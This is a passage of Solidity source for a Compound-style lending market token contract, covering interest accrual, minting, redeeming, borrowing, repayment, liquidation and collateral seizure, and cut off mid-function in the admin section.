borrowIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, result); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { (MathError err, uint result) = exchangeRateStoredInternal(); require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed"); return result; } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return (error code, calculated exchange rate scaled by 1e18) */ function exchangeRateStoredInternal() internal view returns (MathError, uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return (MathError.NO_ERROR, initialExchangeRateMantissa); } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves; Exp memory exchangeRate; MathError mathErr; (mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, exchangeRate.mantissa); } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint(Error.NO_ERROR); } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ (MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior); require(mathErr == MathError.NO_ERROR, "could not calculate block delta"); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor; uint interestAccumulated; uint totalBorrowsNew; uint totalReservesNew; uint borrowIndexNew; (mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr)); } (mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr)); } (mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount); } struct MintLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint mintTokens; uint totalSupplyNew; uint accountTokensNew; uint actualMintAmount; } /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block * @param minter The address of the account which is supplying the assets * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) { /* Fail if mint not allowed */ uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0); } MintLocalVars memory vars; (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call `doTransferIn` for the minter and the mintAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * `doTransferIn` reverts if anything goes wrong, since we can't be sure if * side-effects occurred. The function returns the amount actually transferred, * in case of a fee. On success, the cToken holds an additional `actualMintAmount` * of cash. */ vars.actualMintAmount = doTransferIn(minter, mintAmount); /* * We get the current exchange rate and calculate the number of cTokens to be minted: * mintTokens = actualMintAmount / exchangeRate */ (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa})); require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED"); /* * We calculate the new total supply of cTokens and minter token balance, checking for overflow: * totalSupplyNew = totalSupply + mintTokens * accountTokensNew = accountTokens[minter] + mintTokens */ (vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED"); (vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED"); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[minter] = vars.accountTokensNew; /* We emit a Mint event, and a Transfer event */ emit Mint(minter, vars.actualMintAmount, vars.mintTokens); emit Transfer(address(this), minter, vars.mintTokens); /* We call the defense hook */ comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens); return (uint(Error.NO_ERROR), vars.actualMintAmount); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount); } struct RedeemLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint redeemTokens; uint redeemAmount; uint totalSupplyNew; uint accountTokensNew; } /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block * @param redeemer The address of the account which is redeeming the tokens * @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) { require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero"); RedeemLocalVars memory vars; /* exchangeRate = invoke Exchange Rate Stored() */ (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)); } /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ vars.redeemTokens = redeemTokensIn; (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr)); } } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa})); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr)); } vars.redeemAmount = redeemAmountIn; } /* Fail if redeem not allowed */ uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK); } /* * We calculate the new total supply and redeemer balance, checking for underflow: * totalSupplyNew = totalSupply - redeemTokens * accountTokensNew = accountTokens[redeemer] - redeemTokens */ (vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < vars.redeemAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the redeemer and the redeemAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken has redeemAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(redeemer, vars.redeemAmount); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[redeemer] = vars.accountTokensNew; /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), vars.redeemTokens); emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens); /* We call the defense hook */ comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens); return uint(Error.NO_ERROR); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount); } struct BorrowLocalVars { MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0); } /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED"); (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED"); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) { /* Fail if liquidate not allowed */ uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount); if (repayBorrowError != uint(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount); require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. * @param seizerToken The contract seizing the collateral (i.e. borrowed cToken) * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) { /* Fail if seize not allowed */ uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER); } MathError mathErr; uint borrowerTokensNew; uint liquidatorTokensNew; /* * We calculate the new borrower and liquidator token balances, failing on underflow/overflow: * borrowerTokensNew = accountTokens[borrower] - seizeTokens * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens */ (mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr)); } (mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accountTokens[borrower] = borrowerTokensNew; accountTokens[liquidator] = liquidatorTokensNew; /* Emit a Transfer event */ emit Transfer(borrower, liquidator, seizeTokens); /* We call the defense hook */ comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens); return uint(Error.NO_ERROR); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, 